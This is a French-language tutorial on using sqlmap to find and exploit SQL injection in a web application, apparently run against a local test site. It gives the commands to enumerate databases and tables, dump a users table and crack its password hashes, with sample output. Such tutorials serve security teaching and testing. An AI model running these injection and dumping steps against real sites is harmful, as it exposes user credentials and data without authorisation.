**Sqlmap - HowTo**
Dans cette article je présenterai l'utilisation que je fais de sqlmap.
**1.Présentation**
Sqlmap est un programme python permettant de tester et d'exploiter des injections sql sur une application web.
**2.Installation**
Si vous êtes sous Kali Linux, sqlmpa est déjà installé, sinon, vous pouvez le cloner via le [[https://github.com/sqlmapproject/sqlmap|GitHub]] de sqlmap.
**3.Utilisation**
__3.1 Test__
Je vous conseil avant tout de tester manuellement que l'application web est vulnérable aux injections SQL en injectant une simple quote par exemple (?id=') si cela renvois une erreur, l'application est très probablement vulnérable.
__3.2 Le DBMS et les bases de données__
Dans un premier temps, il faut déterminer le gestionnaire de base de données (DBMS) et lister les bases de données présentes sur le serveur. Pour cela :
$ python sqlmap.py -u "localhost/index.php?id=1" -p "id" --dbs
Petite explication des paramètres :
* -u => url complète de la page web.
* -p => option intéressante lorsque l'url comporte plusieurs paramètres de type get, elle permet de spécifier le paramètre injectable.
* --dbs => demande à sqlmap de lister les bases de données
NB: Si les paramètres sont des données POST, pas de panique, sqlmap le permet avec l'option --data (--data "username=user&password=pass" -p "password"), l'option --form va informer sqlmap qu'il faut POST, il va ensuite demander à l'utilisateur si c'est tel ou tel formulaire à tester.
Résultats notables :
web server operating system: Linux Debian 8.0 (jessie)
web application technology: Apache 2.4.10
back-end DBMS: MySQL 5
[23:53:23] [INFO] fetching database names
available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] sqlmap
__3.3 Les tables__
Pour lister les tables, il suffit de préciser la base de donnée à utiliser et de demander à sqlmap de nous lister les tables de celle ci.
$ python sqlmap.py -u "localhost/index.php?id=1" -p "id" --dbms=mysql -D "sqlmap" --tables
Les paramètres :
* --dbms => permet d'indiquer le DBMS utilisé
* -D => spécifie la base de donnée à traiter
* --tables => demande la liste des tables
Résultat :
[00:00:11] [INFO] fetching tables for database: 'sqlmap'
Database: sqlmap
[2 tables]
+-------+
| blog |
| users |
+-------+
__3.4 Dump des tables__
Passons aux choses sérieuses, deux solutions, soit dump toutes les tables, soit en préciser une.
$ python sqlmap.py -u "localhost/index.php?id=1" -p "id" --dbms=mysql -D "sqlmap" -T users --dump // dump de la table users
ou
$ python sqlmap.py -u "localhost/index.php?id=1" -p "id" --dbms=mysql -D "sqlmap" --dump // dump de toutes les tables
Nous allons nous concentrer sur la table user car elle a plus de chance de contenir des informations exploitables.Quand une table contient des passwords, sqlmap vous propose de les dechiffer.
Résultat :
[00:06:21] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[00:06:23] [INFO] writing hashes to a temporary file '/tmp/sqlmapmQGAQX19748/sqlmaphashes-7QfKGg.txt'
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
Database: sqlmap
Table: users
[4 entries]
+----+--------+-------------------------------------------+
| id | login | password |
+----+--------+-------------------------------------------+
| 1 | ghozt | 9cb4afde731e9eadcda4506ef7c65fa2 (noob) |
| 2 | Yorin | c8d46d341bea4fd5bff866a65ff8aea9 (game) |
| 3 | Dazax | 3e1867f5aee83045775fbe355e6a3ce1 (beer) |
| 4 | birdy4 | 27b8a7812992a386c1f239eed7e5d94b (ricola) |
+----+--------+-------------------------------------------+
"And voilà" les mots de passe ont été bruteforcés par sqlmap, vous pouvez utiliser votre propre dictionnaire pour ce bruteforce ou laisser sqlmap faire le travail. Tous les résultats sont stockés dans des fichiers sur votre machine.
To be continued ...